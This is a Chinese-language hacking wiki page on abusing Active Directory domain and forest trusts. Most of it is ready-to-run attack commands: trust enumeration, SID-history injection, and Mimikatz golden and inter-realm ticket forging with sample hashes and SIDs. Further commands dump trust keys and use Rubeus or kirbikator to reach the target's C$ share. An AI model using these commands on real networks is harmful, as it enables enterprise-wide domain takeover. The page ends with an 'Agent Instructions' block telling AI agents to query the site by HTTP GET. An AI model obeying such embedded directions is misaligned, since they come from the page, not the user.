# 域与域

```
域之间的信任关系
单程
域 B 信任 A
域 A 中的用户可以访问域 B 中的资源
域 B 中的用户无法访问域 A 中的资源
双向
域 A 信任域 B
域 B 信任域 A
认证请求可以在两个域之间双向传递
```

#### 枚举域之间的信任

```
>nltest /trusted_domains
或者
>([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
返回
SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

#### 利用域之间的信任

```
需要对当前域的域管理员级别访问权限
```

\| Source | Target | Technique to use | |---|---|---|---| | 根域 | 子域 | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | | 子域 | 子域 | SID History exploitation (Mimikatz /sids) | | 子域 | 根域 | SID History exploitation (Mimikatz /sids) | | 域林 A | 域林 B | PrinterBug + Unconstrained delegation ? |

#### 子域到域林 - SID劫持

```
大多数树都与双边信任关系相关联，以允许共享资源。
要求：
KRBTGT 哈希
查找域的 SID
Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

使用Impacket
lookupsid.py domain/user:password@10.10.10.10
将 502 替换为 519 以代表 Enterprise Admins
创建金票并攻击父域。
>kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
```

#### 域林与域林

```
要求：禁用 SID 过滤
从 DC 中，使用 Mimikatz 转储currentdomain\targetdomain$信任帐户的哈希（例如，使用 LSADump 或 DCSync）。然后，使用此信任密钥和域 SID，使用 Mimikatz 伪造一个跨域 TGT，将目标域的企业管理员组的 SID 添加到我们的SID 历史记录中。
```

**转储信任密码（信任密钥）**

```
查找末尾带有美元 ($) 符号的名称。大多数带有尾随$的帐户是计算机帐户，但有些是信任帐户
>lsadump::trust /patch
```

**使用 Mimikatz 创建伪造的信任票证（跨域 TGT）**

```
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```

**使用 Trust Ticket 文件获取目标服务的 TGS**

```
>.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
>.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

**注入 TGS 文件并使用欺骗权限访问目标服务。**

```
>kirbikator lsa .\ticket.kirbi
>ls \\machine.domain.local\c$
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/yu-yu-yu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
